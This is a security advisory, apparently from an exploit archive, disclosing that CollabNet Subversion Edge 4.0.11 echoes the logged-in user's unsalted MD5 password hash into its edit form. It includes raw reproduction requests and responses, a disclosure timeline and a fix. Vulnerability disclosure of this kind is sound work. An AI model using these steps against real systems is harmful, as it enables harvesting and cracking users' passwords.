Home / exploits CollabNet Subversion Edge Management Credential Leak
Posted on 30 June 2015
# Vuln Title: The CollabNet Subversion Edge Management frontend user credential # (hash) leak # # Date: 28.06.2015 # Author: otr # Software Link: https://www.open.collab.net/downloads/svnedge # Vendor: CollabNet # Version: 4.0.11 # Tested on: Fedora Linux # Type: Credential leak # # Risk: Medium # Status: public/fixed # Fixed version: 5.0 Timeline: 2014-10-09 Flaw Discovered 2014-10-20 Vendor contacted 2014-10-21 Vendor response 2014-12-08 Vendor fix proposal 2014-12-08 Extension of embargo to 19.4.2015 2015-05-04 Extension of embargo until release of version 5.0 2015-05-18 Release of version 5.0 and public disclosure Summary: The CollabNet Subversion Edge Management Frontend leaks the unsalted MD5 hash of password of the currently logged in user via a "POST /csvn/user/index" request. An attacker that exploits an XSS or has gained a valid session via other means is able to retrieve the unsalted MD5 hash of the corresponding user and easily crack the hash in order to know the users password. Request 1 (set password) POST /csvn/user/index HTTP/1.1 Host: example.com:4434 [...] id=5&version=15&passwd_change_active=false&passwd=aaaaa&confirmPasswd=&realUserName=XXX&email=YYYY&description=ZZZ&_action_update=Update Response 1: HTTP/1.1 302 Found [...] Location: https://example.com:4434/csvn/user/show/5 Content-Length: 0 Request 2 (generated by clicking edit in the following page; request below the iamge): GET /csvn/user/edit/5 HTTP/1.1 Host: example.com:4434 [...] Cookie: SESSID=xxxxxxxxxxxxxxxxxxxx; Response 2 (leaked hash read from DB and echoed back into password change form): HTTP/1.1 200 OK [...] <input type="password" id="passwd" name="passwd" value="4db81436059d080afe532cc0cbd1cea5"/> Fix proposal: Do not echo the current hash in the database back to the user when changing the password. Only accept passwords as input fields and no hashes. Vendor fix: The leak is plugged.
